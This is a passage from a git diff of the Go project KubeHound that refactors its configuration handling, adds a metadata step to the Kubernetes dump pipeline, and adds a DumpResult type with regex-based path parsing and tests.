:= tt t.Run(tt.name, func(t *testing.T) { t.Parallel() v := viper.New() - cfg, err := NewConfig(v, tt.args.configPath) + cfg, err := NewConfig(context.TODO(), v, tt.args.configPath) if tt.wantErr { assert.Error(t, err) assert.Nil(t, cfg) diff --git a/pkg/config/dynamic.go b/pkg/config/dynamic.go index 5ec1733cd..c0eb3f6e3 100644 --- a/pkg/config/dynamic.go +++ b/pkg/config/dynamic.go @@ -15,6 +15,19 @@ type DynamicConfig struct { mu sync.Mutex RunID *RunID `mapstructure:"run_id"` ClusterName string `mapstructure:"cluster_name"` + Service string `mapstructure:"service"` +} + +func (d *DynamicConfig) HealthCheck() error { + if d.ClusterName == "" { + return fmt.Errorf("missing cluster name") + } + + if d.RunID == nil { + return fmt.Errorf("missing run id") + } + + return nil } // DynamicOption is a functional option for configuring the dynamic config. diff --git a/pkg/config/ingestor.go b/pkg/config/ingestor.go index a4a9c6bfb..5fdf73b1d 100644 --- a/pkg/config/ingestor.go +++ b/pkg/config/ingestor.go @@ -1,20 +1,21 @@ package config const ( - DefaultIngestorAPIEndpoint = "127.0.0.1:9000" + DefaultIngestorAPIEndpoint = "" DefaultIngestorAPIInsecure = false DefaultBucketName = "" // we want to let it empty because we can easily abort if it's not configured DefaultTempDir = "/tmp/kubehound" DefaultArchiveName = "archive.tar.gz" - DefaultMaxArchiveSize = int64(1 << 30) // 1GB + DefaultMaxArchiveSize = int64(2 << 30) // 2GB - IngestorAPIEndpoint = "ingestor.api.endpoint" - IngestorAPIInsecure = "ingestor.api.insecure" - IngestorClusterName = "ingestor.cluster_name" - IngestorRunID = "ingestor.run_id" + IngestorAPIEndpoint = "ingestor.api.endpoint" + IngestorAPIInsecure = "ingestor.api.insecure" + IngestorMaxArchiveSize = "ingestor.max_archive_size" + IngestorTempDir = "ingestor.temp_dir" + IngestorArchiveName = "ingestor.archive_name" - IngestorBlobBucketName = "ingestor.blob.bucket_name" - IngestorBlobRegion = "ingestor.blob.region" + IngestorBlobBucketURL = "ingestor.blob.bucket_url" + IngestorBlobRegion = "ingestor.blob.region" ) type IngestorConfig struct { @@ -23,11 +24,14 @@ type IngestorConfig struct { TempDir string `mapstructure:"temp_dir"` ArchiveName string `mapstructure:"archive_name"` MaxArchiveSize int64 `mapstructure:"max_archive_size"` - ClusterName string `mapstructure:"cluster_name"` - RunID string `mapstructure:"run_id"` } type IngestorAPIConfig struct { Endpoint string `mapstructure:"endpoint"` Insecure bool `mapstructure:"insecure" validate:"omitempty,boolean"` } + +type BlobConfig struct { + BucketUrl string `mapstructure:"bucket_url"` // Bucket to use to push k8s resources (e.g.: s3://) + Region string `mapstructure:"region"` // Region to use for the bucket (only for s3) +} diff --git a/pkg/config/janusgraph.go b/pkg/config/janusgraph.go index 52db1a58f..1b3e294ad 100644 --- a/pkg/config/janusgraph.go +++ b/pkg/config/janusgraph.go @@ -6,10 +6,25 @@ import ( const ( DefaultJanusGraphUrl = "ws://localhost:8182/gremlin" + + defaultJanusGraphWriterTimeout = 60 * time.Second + defaultJanusGraphWriterMaxRetry = 3 + defaultJanusGraphWriterWorkerCount = 10 + + JanusGraphUrl = "janusgraph.url" + JanusGrapTimeout = "janusgraph.connection_timeout" + JanusGraphWriterTimeout = "janusgraph.writer_timeout" + JanusGraphWriterMaxRetry = "janusgraph.writer_max_retry" + JanusGraphWriterWorkerCount = "janusgraph.writer_worker_count" ) // JanusGraphConfig configures JanusGraph specific parameters. type JanusGraphConfig struct { URL string `mapstructure:"url"` // JanusGraph specific configuration ConnectionTimeout time.Duration `mapstructure:"connection_timeout"` + + // JanusGraph vertex/edge writer configuration + WriterTimeout time.Duration `mapstructure:"writer_timeout"` + WriterMaxRetry int `mapstructure:"writer_max_retry"` + WriterWorkerCount int `mapstructure:"writer_worker_count"` } diff --git a/pkg/config/k8s.go b/pkg/config/k8s.go index 743c384a9..784c22460 100644 --- a/pkg/config/k8s.go +++ b/pkg/config/k8s.go @@ -3,16 +3,35 @@ package config import ( "context" "fmt" + "os" + "github.com/DataDog/KubeHound/pkg/telemetry/log" "k8s.io/client-go/tools/clientcmd" ) +const ( + clusterNameEnvVar = "KH_K8S_CLUSTER_NAME" +) + // ClusterInfo encapsulates the target cluster information for the current run. type ClusterInfo struct { Name string } -func NewClusterInfo(_ context.Context) (*ClusterInfo, error) { +func NewClusterInfo(ctx context.Context) (*ClusterInfo, error) { + // Testing if running from pod + // Using an environment variable to get the cluster name as it is not provided in the pod configuration + l := log.Logger(ctx) + clusterName := os.Getenv(clusterNameEnvVar) + if clusterName != "" { + l.Warn("Using cluster name from environment variable", log.String("env_var", clusterNameEnvVar), log.String(log.FieldClusterKey, clusterName)) + + return &ClusterInfo{ + Name: clusterName, + }, nil + } + + // Testing if running from outside the cluster loadingRules := clientcmd.NewDefaultClientConfigLoadingRules() configOverrides := &clientcmd.ConfigOverrides{} kubeConfig := clientcmd.NewNonInteractiveDeferredLoadingClientConfig(loadingRules, configOverrides) diff --git a/pkg/config/mongodb.go b/pkg/config/mongodb.go index 89a63719b..f29a684d2 100644 --- a/pkg/config/mongodb.go +++ b/pkg/config/mongodb.go @@ -6,6 +6,9 @@ import ( const ( DefaultMongoUrl = "mongodb://localhost:27017" + + MongoUrl = "mongodb.url" + MongoConnectionTimeout = "mongodb.connection_timeout" ) // MongoDBConfig configures mongodb specific parameters. diff --git a/pkg/config/run_id.go b/pkg/config/run_id.go index 62023899c..95210c283 100644 --- a/pkg/config/run_id.go +++ b/pkg/config/run_id.go @@ -28,7 +28,7 @@ func (r RunID) String() string { // Timestamp returns the timestamp embedded within the run id. func (r RunID) Timestamp() time.Time { - return time.UnixMilli(int64(r.val.Time())) + return time.UnixMilli(int64(r.val.Time())) //nolint:gosec } func LoadRunID(runid string) (*RunID, error) { diff --git a/pkg/config/testdata/kubehound-file-collector.yaml b/pkg/config/testdata/kubehound-file-collector.yaml index c92f3a31a..06b941225 100644 --- a/pkg/config/testdata/kubehound-file-collector.yaml +++ b/pkg/config/testdata/kubehound-file-collector.yaml @@ -2,9 +2,10 @@ collector: type: file-collector file: directory: cluster-data/ - cluster_name: test-cluster +dynamic: + cluster_name: test-cluster mongodb: url: "mongodb://localhost:27017" telemetry: statsd: - url: "127.0.0.1:8125" \ No newline at end of file + url: "127.0.0.1:8125" diff --git a/pkg/dump/ingestor.go b/pkg/dump/ingestor.go index 4af9a3340..66264ceb2 100644 --- a/pkg/dump/ingestor.go +++ b/pkg/dump/ingestor.go @@ -2,36 +2,27 @@ package dump import ( "context" + "encoding/json" "fmt" - "path" + "os" + "path/filepath" + "regexp" "github.com/DataDog/KubeHound/pkg/collector" "github.com/DataDog/KubeHound/pkg/config" "github.com/DataDog/KubeHound/pkg/dump/pipeline" "github.com/DataDog/KubeHound/pkg/dump/writer" + "github.com/DataDog/KubeHound/pkg/telemetry/log" "github.com/DataDog/KubeHound/pkg/telemetry/span" "github.com/DataDog/KubeHound/pkg/telemetry/tag" "gopkg.in/DataDog/dd-trace-go.v1/ddtrace/tracer" ) type DumpIngestor struct { - directoryOutput string - ResultName string - collector collector.CollectorClient - writer writer.DumperWriter + collector collector.CollectorClient + writer writer.DumperWriter } -const ( - OfflineDumpDateFormat = "2006-01-02-15-04-05" - OfflineDumpPrefix = "kubehound_" -) - -// .//kubehound__ -func DumpIngestorResultName(clusterName string, runID string) string { - return path.Join(clusterName, fmt.Sprintf("%s%s_%s", OfflineDumpPrefix, clusterName, runID)) -} - -// func NewDumpIngestor(ctx context.Context, collector collector.CollectorClient, compression bool, directoryOutput string) (*DumpIngestor, error) { func NewDumpIngestor(ctx context.Context, collector collector.CollectorClient, compression bool, directoryOutput string, runID *config.RunID) (*DumpIngestor, error) { // Generate path for the dump clusterName, err := getClusterName(ctx, collector) @@ -39,18 +30,19 @@ func NewDumpIngestor(ctx context.Context, collector collector.CollectorClient, c return nil, err } - resultName := DumpIngestorResultName(clusterName, runID.String()) + dumpResult, err := NewDumpResult(clusterName, runID.String(), compression) + if err != nil { + return nil, fmt.Errorf("create dump result: %w", err) + } - dumpWriter, err := writer.DumperWriterFactory(ctx, compression, directoryOutput, resultName) + dumpWriter, err := writer.DumperWriterFactory(ctx, compression, directoryOutput, dumpResult.GetFullPath()) if err != nil { return nil, fmt.Errorf("create collector writer: %w", err) } return &DumpIngestor{ - directoryOutput: directoryOutput, - collector: collector, - writer: dumpWriter, - ResultName: resultName, + collector: collector, + writer: dumpWriter, }, nil } @@ -63,12 +55,28 @@ func getClusterName(ctx context.Context, collector collector.CollectorClient) (s return cluster.Name, nil } +func (d *DumpIngestor) Metadata() (collector.Metadata, error) { + path := filepath.Join(d.writer.OutputPath(), collector.MetadataPath) + data, err := os.ReadFile(path) + if err != nil { + return collector.Metadata{}, err + } + + md := collector.Metadata{} + err = json.Unmarshal(data, &md) + if err != nil { + return collector.Metadata{}, err + } + + return md, nil +} + func (d *DumpIngestor) OutputPath() string { return d.writer.OutputPath() } func (d *DumpIngestor) DumpK8sObjects(ctx context.Context) error { - spanDump, ctx := tracer.StartSpanFromContext(ctx, span.CollectorDump, tracer.Measured()) + spanDump, ctx := span.SpanRunFromContext(ctx, span.CollectorDump) var err error defer func() { spanDump.Finish(tracer.WithError(err)) }() @@ -84,7 +92,7 @@ func (d *DumpIngestor) DumpK8sObjects(ctx context.Context) error { return fmt.Errorf("run pipeline ingestor: %w", err) } - return pipeline.Wait(ctx) + return pipeline.WaitAndClose(ctx) } // Close() is invoked by the collector to close all handlers used to dump k8s objects. @@ -97,3 +105,42 @@ func (d *DumpIngestor) Close(ctx context.Context) error { return d.writer.Close(ctx) } + +// Backward Compatibility: Extracting the metadata from the path +const ( + DumpResultFilenameRegex = DumpResultPrefix + DumpResultClusterNameRegex + "_" + DumpResultRunIDRegex + DumpResultExtensionRegex + DumpResultPathRegex = DumpResultClusterNameRegex + "/" + DumpResultFilenameRegex +) + +func ParsePath(ctx context.Context, path string) (*DumpResult, error) { + l := log.Logger(ctx) + l.Warn("[Backward Compatibility] Extracting the metadata", log.String(log.FieldPathKey, path)) + + // .//kubehound__[.tar.gz] + // re := regexp.MustCompile(`([a-z0-9\.\-_]+)/kubehound_([a-z0-9\.-_]+)_([a-z0-9]{26})\.?([a-z0-9\.]+)?`) + re := regexp.MustCompile(DumpResultPathRegex) + if !re.MatchString(path) { + return nil, fmt.Errorf("Invalid path provided: %q", path) + } + + matches := re.FindStringSubmatch(path) + // The cluster name should match (parent dir and in the filename) + if matches[1] != matches[2] { + return nil, fmt.Errorf("Cluster name does not match in the path provided: %q", path) + } + + clusterName := matches[1] + runID := matches[3] + extension := matches[4] + + isCompressed := false + if extension != "" { + isCompressed = true + } + result, err := NewDumpResult(clusterName, runID, isCompressed) + if err != nil { + return nil, err + } + + return result, nil +} diff --git a/pkg/dump/ingestor_test.go b/pkg/dump/ingestor_test.go index cbc296cf1..4d53b3225 100644 --- a/pkg/dump/ingestor_test.go +++ b/pkg/dump/ingestor_test.go @@ -19,10 +19,10 @@ const ( mockDirectoryOutput = "/tmp" ) -func TestNewDumpIngestor(t *testing.T) { - t.Parallel() +func TestNewDumpIngestor(t *testing.T) { //nolint:paralleltest,nolintlint ctx := context.Background() + t.Setenv("KUBECONFIG", "./testdata/kube-config") clientset := fake.NewSimpleClientset() collectorClient := collector.NewTestK8sAPICollector(ctx, clientset) @@ -48,8 +48,6 @@ func TestNewDumpIngestor(t *testing.T) { runID: config.NewRunID(), }, want: &DumpIngestor{ - directoryOutput: mockDirectoryOutput, - writer: &writer.FileWriter{}, }, wantErr: false, @@ -63,16 +61,16 @@ func TestNewDumpIngestor(t *testing.T) { runID: config.NewRunID(), }, want: &DumpIngestor{ - directoryOutput: mockDirectoryOutput, - writer: &writer.TarWriter{}, + writer: &writer.TarWriter{}, }, wantErr: false, }, } - for _, tt := range tests { - tt := tt + // Can not run parallel tests as the environment variable KUBECONFIG is set + // t.Setenv is not compatible with parallel tests + for _, tt := range tests { //nolint:paralleltest + t.Run(tt.name, func(t *testing.T) { - t.Parallel() got, err := NewDumpIngestor(ctx, tt.args.collectorClient, tt.args.compression, tt.args.directoryOutput, tt.args.runID) if (err != nil) != tt.wantErr { t.Errorf("NewDumpIngestorsss() error = %v, wantErr %v", err, tt.wantErr) @@ -83,10 +81,6 @@ func TestNewDumpIngestor(t *testing.T) { if !assert.Equal(t, reflect.TypeOf(got.writer), reflect.TypeOf(tt.want.writer)) { t.Errorf("NewDumpIngestor() = %v, want %v", reflect.TypeOf(got.writer), reflect.TypeOf(tt.want.writer)) } - - if !assert.Equal(t, got.directoryOutput, tt.want.directoryOutput) { - t.Errorf("NewDumpIngestor() = %v, want %v", got.directoryOutput, tt.want.directoryOutput) - } }) } } @@ -133,7 +127,6 @@ func TestDumpIngestor_DumpK8sObjects(t *testing.T) { }, } for _, tt := range tests { - tt := tt t.Run(tt.name, func(t *testing.T) { t.Parallel() mDumpWriter, mCollectorClient := tt.testfct(t) diff --git a/pkg/dump/pipeline/cluster_role_binding_ingest_test.go b/pkg/dump/pipeline/cluster_role_binding_ingest_test.go index c744902a8..e43b4577d 100644 --- a/pkg/dump/pipeline/cluster_role_binding_ingest_test.go +++ b/pkg/dump/pipeline/cluster_role_binding_ingest_test.go @@ -77,7 +77,6 @@ func TestDumpIngestor_IngestClusterRoleBinding(t *testing.T) { }, } for _, tt := range tests { - tt := tt t.Run(tt.name, func(t *testing.T) { t.Parallel() ingestor := tt.testfct(t, tt.args.clusterRoleBinding) diff --git a/pkg/dump/pipeline/cluster_role_ingest_test.go b/pkg/dump/pipeline/cluster_role_ingest_test.go index ec6c57aeb..5184c6f2b 100644 --- a/pkg/dump/pipeline/cluster_role_ingest_test.go +++ b/pkg/dump/pipeline/cluster_role_ingest_test.go @@ -77,7 +77,6 @@ func TestDumpIngestor_IngestClusterRole(t *testing.T) { }, } for _, tt := range tests { - tt := tt t.Run(tt.name, func(t *testing.T) { t.Parallel() ingestor := tt.testfct(t, tt.args.clusterRoles) diff --git a/pkg/dump/pipeline/endpoint_ingest.go b/pkg/dump/pipeline/endpoint_ingest.go index 1a94cca13..c71754495 100644 --- a/pkg/dump/pipeline/endpoint_ingest.go +++ b/pkg/dump/pipeline/endpoint_ingest.go @@ -28,7 +28,7 @@ func NewEndpointIngestor(ctx context.Context, dumpWriter writer.DumperWriter) *E } func (d *EndpointIngestor) IngestEndpoint(ctx context.Context, endpoint types.EndpointType) error { - if ok, err := preflight.CheckEndpoint(endpoint); !ok { + if ok, err := preflight.CheckEndpoint(ctx, endpoint); !ok { return err } diff --git a/pkg/dump/pipeline/endpoint_ingest_test.go b/pkg/dump/pipeline/endpoint_ingest_test.go index 3bce4897b..972ef3ef3 100644 --- a/pkg/dump/pipeline/endpoint_ingest_test.go +++ b/pkg/dump/pipeline/endpoint_ingest_test.go @@ -82,7 +82,6 @@ func TestDumpIngestor_IngestEndpoint(t *testing.T) { }, } for _, tt := range tests { - tt := tt t.Run(tt.name, func(t *testing.T) { t.Parallel() ingestor := tt.testfct(t, tt.args.endpoints) diff --git a/pkg/dump/pipeline/metadata.go b/pkg/dump/pipeline/metadata.go new file mode 100644 index 000000000..10929995d --- /dev/null +++ b/pkg/dump/pipeline/metadata.go @@ -0,0 +1,28 @@ +package pipeline + +import ( + "context" + + "github.com/DataDog/KubeHound/pkg/collector" + "github.com/DataDog/KubeHound/pkg/dump/writer" +) + +type MetadataIngestor struct { + buffer map[string]collector.Metadata + writer writer.DumperWriter +} + +func NewMetadataIngestor(ctx context.Context, dumpWriter writer.DumperWriter) *MetadataIngestor { + return &MetadataIngestor{ + buffer: make(map[string]collector.Metadata), + writer: dumpWriter, + } +} + +func (d *MetadataIngestor) DumpMetadata(ctx context.Context, metadata collector.Metadata) error { + data := make(map[string]*collector.Metadata) + data[collector.MetadataPath] = &metadata + + return dumpObj[*collector.Metadata](ctx, data, d.writer) + +} diff --git a/pkg/dump/pipeline/node_ingest_test.go b/pkg/dump/pipeline/node_ingest_test.go index fc6c0c4c5..845eadfec 100644 --- a/pkg/dump/pipeline/node_ingest_test.go +++ b/pkg/dump/pipeline/node_ingest_test.go @@ -78,7 +78,6 @@ func TestDumpIngestor_IngestNode(t *testing.T) { }, } for _, tt := range tests { - tt := tt t.Run(tt.name, func(t *testing.T) { t.Parallel() ingestor := tt.testfct(t, tt.args.nodes) diff --git a/pkg/dump/pipeline/pipeline.go b/pkg/dump/pipeline/pipeline.go index 15b6fd03c..6de6eff0b 100644 --- a/pkg/dump/pipeline/pipeline.go +++ b/pkg/dump/pipeline/pipeline.go @@ -77,15 +77,31 @@ func dumpIngestorSequence(collector collector.CollectorClient, writer writer.Dum } } +// dumpIngestorClosingSequence returns the pipeline sequence for closing the dumping sequence (this pipeline is single-threaded) +func dumpIngestorClosingSequence(collector collector.CollectorClient, writer writer.DumperWriter) []DumpIngestorPipeline { + return []DumpIngestorPipeline{ + { + operationName: span.DumperMetadata, + entity: "Metadata", + streamFunc: func(ctx context.Context) error { + return collector.ComputeMetadata(ctx, NewMetadataIngestor(ctx, writer)) + }, + }, + } +} + // PipelineDumpIngestor is a parallelized pipeline based ingestor implementation. type PipelineDumpIngestor struct { - sequence []DumpIngestorPipeline - wp worker.WorkerPool - WorkerNumber int + sequence []DumpIngestorPipeline + closingSequence []DumpIngestorPipeline + wp worker.WorkerPool + WorkerNumber int } func NewPipelineDumpIngestor(ctx context.Context, collector collector.CollectorClient, writer writer.DumperWriter) (context.Context, *PipelineDumpIngestor, error) { + l := log.Logger(ctx) sequence := dumpIngestorSequence(collector, writer) + cleanupSequence := dumpIngestorClosingSequence(collector, writer) // Getting the number of workers from the writer to setup multi-threading if possible workerNumber := writer.WorkerNumber() @@ -95,7 +111,7 @@ func NewPipelineDumpIngestor(ctx context.Context, collector collector.CollectorC } if workerNumber > 1 { - log.I.Infof("Multi-threading enabled: %d workers", workerNumber) + l.Info("Multi-threading enabled", log.Int("worker_count", workerNumber)) } // Setting up the worker pool with multi-threading if possible @@ -113,9 +129,10 @@ func NewPipelineDumpIngestor(ctx context.Context, collector collector.CollectorC } return ctx, &PipelineDumpIngestor{ - wp: wp, - sequence: sequence, - WorkerNumber: workerNumber, + wp: wp, + sequence: sequence, + closingSequence: cleanupSequence, + WorkerNumber: workerNumber, }, nil } @@ -123,9 +140,8 @@ func NewPipelineDumpIngestor(ctx context.Context, collector collector.CollectorC func (p *PipelineDumpIngestor) Run(ctx context.Context) error { var err error for _, v := range p.sequence { - v := v p.wp.Submit(func() error { - _, errDump := dumpK8sObjs(ctx, v.operationName, v.entity, v.streamFunc) + errDump := dumpK8sObjs(ctx, v.operationName, v.entity, v.streamFunc) if errDump != nil { err = errors.Join(err, errDump) } @@ -137,18 +153,33 @@ func (p *PipelineDumpIngestor) Run(ctx context.Context) error { return err } -func (p *PipelineDumpIngestor) Wait(ctx context.Context) error { - return p.wp.WaitForComplete() +func (p *PipelineDumpIngestor) WaitAndClose(ctx context.Context) error { + err := p.wp.WaitForComplete() + if err != nil { + return fmt.Errorf("wait for complete: %w", err) + } + + for _, v := range p.closingSequence { + errDump := dumpK8sObjs(ctx, v.operationName, v.entity, v.streamFunc) + if errDump != nil { + err = errors.Join(err, errDump) + } + } + + return err } // Static wrapper to dump k8s object dynamically (streams Kubernetes objects to the collector writer). -func dumpK8sObjs(ctx context.Context, operationName string, entity string, streamFunc StreamFunc) (context.Context, error) { - log.I.Infof("Dumping %s", entity) - span, ctx := tracer.StartSpanFromContext(ctx, operationName, tracer.Measured()) +func dumpK8sObjs(ctx context.Context, operationName string, entity string, streamFunc StreamFunc) error { + span, ctx := span.SpanRunFromContext(ctx, operationName) span.SetTag(tag.EntityTag, entity) + l := log.Logger(ctx) + l.Info("Dumping entity", log.String(log.FieldEntityKey, entity)) + var err error defer func() { span.Finish(tracer.WithError(err)) }() err = streamFunc(ctx) + l.Info("Dumping entity done", log.String(log.FieldEntityKey, entity)) - return ctx, err + return err } diff --git a/pkg/dump/pipeline/pipeline_faker.go b/pkg/dump/pipeline/pipeline_faker.go index a39059fba..732de76f3 100644 --- a/pkg/dump/pipeline/pipeline_faker.go +++ b/pkg/dump/pipeline/pipeline_faker.go @@ -74,6 +74,8 @@ func PipelineLiveTest(ctx context.Context, t *testing.T, workerNum int) (*mockwr mDumpWriter.EXPECT().Write(mock.Anything, mock.Anything, mock.Anything).Return(nil).Once() } + mDumpWriter.EXPECT().Write(mock.Anything, mock.Anything, collector.MetadataPath).Return(nil).Once() + return mDumpWriter, collectorClient } diff --git a/pkg/dump/pipeline/pipeline_test.go b/pkg/dump/pipeline/pipeline_test.go index 5708ec8c4..ffff6ca42 100644 --- a/pkg/dump/pipeline/pipeline_test.go +++ b/pkg/dump/pipeline/pipeline_test.go @@ -29,6 +29,20 @@ func newFakeDumpIngestorPipeline(ctx context.Context, t *testing.T, mockCollecto } +func closingSequence(ctx context.Context, t *testing.T, mDumpWriter *mockwriter.DumperWriter, mCollectorClient *mockcollector.CollectorClient) (*mockwriter.DumperWriter, *mockcollector.CollectorClient) { + t.Helper() + + closingSequence := dumpIngestorClosingSequence(mCollectorClient, mDumpWriter) + for _, step := range closingSequence { + switch step.entity { //nolint: gocritic + case "Metadata": + mCollectorClient.EXPECT().ComputeMetadata(mock.Anything, NewMetadataIngestor(ctx, mDumpWriter)).Return(nil).Once() + } + } + + return mDumpWriter, mCollectorClient +} + func TestPipelineDumpIngestor_Run(t *testing.T) { t.Parallel() ctx := context.Background() @@ -65,6 +79,8 @@ func TestPipelineDumpIngestor_Run(t *testing.T) { } } + mDumpWriter, mCollectorClient = closingSequence(ctx, t, mDumpWriter, mCollectorClient) + return mDumpWriter, mCollectorClient } @@ -99,6 +115,8 @@ func TestPipelineDumpIngestor_Run(t *testing.T) { } } + mDumpWriter, mCollectorClient = closingSequence(ctx, t, mDumpWriter, mCollectorClient) + return mDumpWriter, mCollectorClient } @@ -141,7 +159,6 @@ func TestPipelineDumpIngestor_Run(t *testing.T) { }, } for _, tt := range tests { - tt := tt t.Run(tt.name, func(t *testing.T) { t.Parallel() mDumpWriter, mCollectorClient := tt.testfct(t) @@ -151,7 +168,7 @@ func TestPipelineDumpIngestor_Run(t *testing.T) { t.Errorf("PipelineDumpIngestor.Run() error = %v, wantErr %v", err, tt.wantErr) } - if err := pipeline.Wait(ctx); (err != nil) != tt.wantErr { + if err := pipeline.WaitAndClose(ctx); (err != nil) != tt.wantErr { t.Errorf("PipelineDumpIngestor.Wait() error = %v, wantErr %v", err, tt.wantErr) } }) diff --git a/pkg/dump/pipeline/pod_ingest.go b/pkg/dump/pipeline/pod_ingest.go index eecee987a..b5c761d62 100644 --- a/pkg/dump/pipeline/pod_ingest.go +++ b/pkg/dump/pipeline/pod_ingest.go @@ -29,7 +29,7 @@ func NewPodIngestor(ctx context.Context, dumpWriter writer.DumperWriter) *PodIng } func (d *PodIngestor) IngestPod(ctx context.Context, pod types.PodType) error { - if ok, err := preflight.CheckPod(pod); !ok { + if ok, err := preflight.CheckPod(ctx, pod); !ok { return err } diff --git a/pkg/dump/pipeline/pod_ingest_test.go b/pkg/dump/pipeline/pod_ingest_test.go index 1a48724a4..656ebfff8 100644 --- a/pkg/dump/pipeline/pod_ingest_test.go +++ b/pkg/dump/pipeline/pod_ingest_test.go @@ -82,7 +82,6 @@ func TestDumpIngestor_IngestPod(t *testing.T) { }, } for _, tt := range tests { - tt := tt t.Run(tt.name, func(t *testing.T) { t.Parallel() ingestor := tt.testfct(t, tt.args.pods) diff --git a/pkg/dump/pipeline/role_binding_ingest_test.go b/pkg/dump/pipeline/role_binding_ingest_test.go index 28ebefe40..13b788ea2 100644 --- a/pkg/dump/pipeline/role_binding_ingest_test.go +++ b/pkg/dump/pipeline/role_binding_ingest_test.go @@ -82,7 +82,6 @@ func TestDumpIngestor_IngestRoleBinding(t *testing.T) { }, } for _, tt := range tests { - tt := tt t.Run(tt.name, func(t *testing.T) { t.Parallel() ingestor := tt.testfct(t, tt.args.roleBindings) diff --git a/pkg/dump/pipeline/role_ingest_test.go b/pkg/dump/pipeline/role_ingest_test.go index 125cd23e7..8a16226bc 100644 --- a/pkg/dump/pipeline/role_ingest_test.go +++ b/pkg/dump/pipeline/role_ingest_test.go @@ -82,7 +82,6 @@ func TestDumpIngestor_IngestRole(t *testing.T) { }, } for _, tt := range tests { - tt := tt t.Run(tt.name, func(t *testing.T) { t.Parallel() ingestor := tt.testfct(t, tt.args.roles) diff --git a/pkg/dump/result.go b/pkg/dump/result.go new file mode 100644 index 000000000..2316c99df --- /dev/null +++ b/pkg/dump/result.go @@ -0,0 +1,107 @@ +package dump + +import ( + "context" + "encoding/json" + "fmt" + "os" + "path" + "regexp" + + "github.com/DataDog/KubeHound/pkg/collector" +) + +type DumpResult struct { + isDir bool + extension string + Metadata collector.Metadata +} + +const ( + DumpResultClusterNameRegex = `([A-Za-z0-9\.\-_@]+)` + DumpResultRunIDRegex = `([a-z0-9]{26})` + DumpResultExtensionRegex = `\.?([a-z0-9\.]+)?` + DumpResultPrefix = "kubehound_" + + DumpResultTarWriterExtension = "tar.gz" +) + +func NewDumpResult(clusterName, runID string, isCompressed bool) (*DumpResult, error) { + dumpResult := &DumpResult{ + Metadata: collector.Metadata{ + ClusterName: clusterName, + RunID: runID, + }, + isDir: true, + } + if isCompressed { + dumpResult.Compressed() + } + + err := dumpResult.Validate() + if err != nil { + return nil, err + } + + return dumpResult, nil +} + +func (i *DumpResult) Validate() error { + re := regexp.MustCompile(DumpResultClusterNameRegex) + if !re.MatchString(i.Metadata.ClusterName) { + return fmt.Errorf("Invalid clustername: %q", i.Metadata.ClusterName) + } + + matches := re.FindStringSubmatch(i.Metadata.ClusterName) + if len(matches) == 2 && matches[1] != i.Metadata.ClusterName { + return fmt.Errorf("Invalid clustername: %q", i.Metadata.ClusterName) + } + + re = regexp.MustCompile(DumpResultRunIDRegex) + if !re.MatchString(i.Metadata.RunID) { + return fmt.Errorf("Invalid runID: %q", i.Metadata.RunID) + } + + return nil +} + +func (i *DumpResult) Compressed() { + i.isDir = false + i.extension = DumpResultTarWriterExtension +} + +// .//kubehound__ +func (i *DumpResult) GetFullPath() string { + filename := i.GetFilename() + + return path.Join(i.Metadata.ClusterName, filename) +} + +func (i *DumpResult) GetFilename() string { + filename := fmt.Sprintf("%s%s_%s", DumpResultPrefix, i.Metadata.ClusterName, i.Metadata.RunID) + if i.isDir { + return filename + } + + return fmt.Sprintf("%s.%s", filename, i.extension) +} + +func ParseMetadata(ctx context.Context, metadataFilePath string) (collector.Metadata, error) { + var metadata collector.Metadata + + bytes, err := os.ReadFile(metadataFilePath) + if err != nil { + return metadata, fmt.Errorf("read file %s: %w", metadataFilePath, err) + } + + if len(bytes) == 0 { + return metadata, nil + } + + err = json.Unmarshal(bytes, &metadata) + if err != nil { + return metadata, fmt.Errorf("unmarshalling %T in %s: %w", metadata, metadataFilePath, err) + } + + return metadata, nil +} diff --git a/pkg/dump/result_test.go b/pkg/dump/result_test.go new file mode 100644 index 000000000..7ad489b2f --- /dev/null +++ b/pkg/dump/result_test.go @@ -0,0 +1,295 @@ +package dump + +import ( + "context" + "fmt" + "path" + "reflect" + "testing" + + "github.com/DataDog/KubeHound/pkg/collector" +) + +const ( + validClusterName = "cluster1.k8s.local" + validRunID = "01j2qs8th6yarr5hkafysekn0j" + // cluster name with invalid characters (for instance /) + nonValidClusterName = "cluster1.k8s.local/" + // RunID with capital letters + nonValidRunID = "01j2qs8TH6yarr5hkafysekn0j" +) + +func TestParsePath(t *testing.T) { + t.Parallel() + type args struct { + path string + } + tests := []struct { + name string + args args + want *DumpResult + wantErr bool + }{ + { + name: "valid path with no compression", + args: args{ + path: "/tmp/cluster1.k8s.local/kubehound_cluster1.k8s.local_01j2qs8th6yarr5hkafysekn0j", + }, + want: &DumpResult{ + Metadata: collector.Metadata{ + ClusterName: validClusterName, + RunID: validRunID, + }, + isDir: true, + extension: "", + }, + wantErr: false, + }, + { + name: "valid path with compressed data", + args: args{ + path: "/tmp/cluster1.k8s.local/kubehound_cluster1.k8s.local_01j2qs8th6yarr5hkafysekn0j.tar.gz", + }, + want: &DumpResult{ + Metadata: collector.Metadata{ + ClusterName: validClusterName, + RunID: validRunID, + }, + isDir: false, + extension: "tar.gz", + }, + wantErr: false, + }, + { + name: "invalid path", + args: args{ + path: "/tmp/cluster1.k8s.local/cluster1.k8s.local_01j2qs8th6yarr5hkafysekn0j", + }, + want: nil, + wantErr: true, + }, + { + name: "not matching clustername ", + args: args{ + path: "/tmp/cluster1.k8s.local/kubehound_cluster2.k8s.local_01j2qs8th6yarr5hkafysekn0j", + }, + want: nil, + wantErr: true, + }, + { + name: "invalid runID", + args: args{ + path: "/tmp/cluster1.k8s.local/kubehound_cluster1.k8s.local_01j2qs8TH6yarr5hkafysekn0j", + }, + want: nil, + wantErr: true, + }, + } + for _, tt := range tests { + t.Run(tt.name, func(t *testing.T) { + t.Parallel() + got, err := ParsePath(context.TODO(), tt.args.path) + if (err != nil) != tt.wantErr { + t.Errorf("ParsePath() error = %v, wantErr %v", err, tt.wantErr) + + return + } + if !reflect.DeepEqual(got, tt.want) { + t.Errorf("ParsePath() = %v, want %v", got, tt.want) + } + }) + } +} + +func TestDumpResult_GetFilename(t *testing.T) { + t.Parallel() + + type fields struct { + ClusterName string + RunID string + IsDir bool + Extension string + } + tests := []struct { + name string + fields fields + want string + }{ + { + name: "valide dump result object no compression", + fields: fields{ + ClusterName: validClusterName, + RunID: validRunID, + IsDir: true, + Extension: "", + }, + want: fmt.Sprintf("%s%s", "kubehound_", "cluster1.k8s.local_01j2qs8th6yarr5hkafysekn0j"), + }, + { + name: "valide dump result object compressed", + fields: fields{ + ClusterName: validClusterName, + RunID: validRunID, + IsDir: false, + 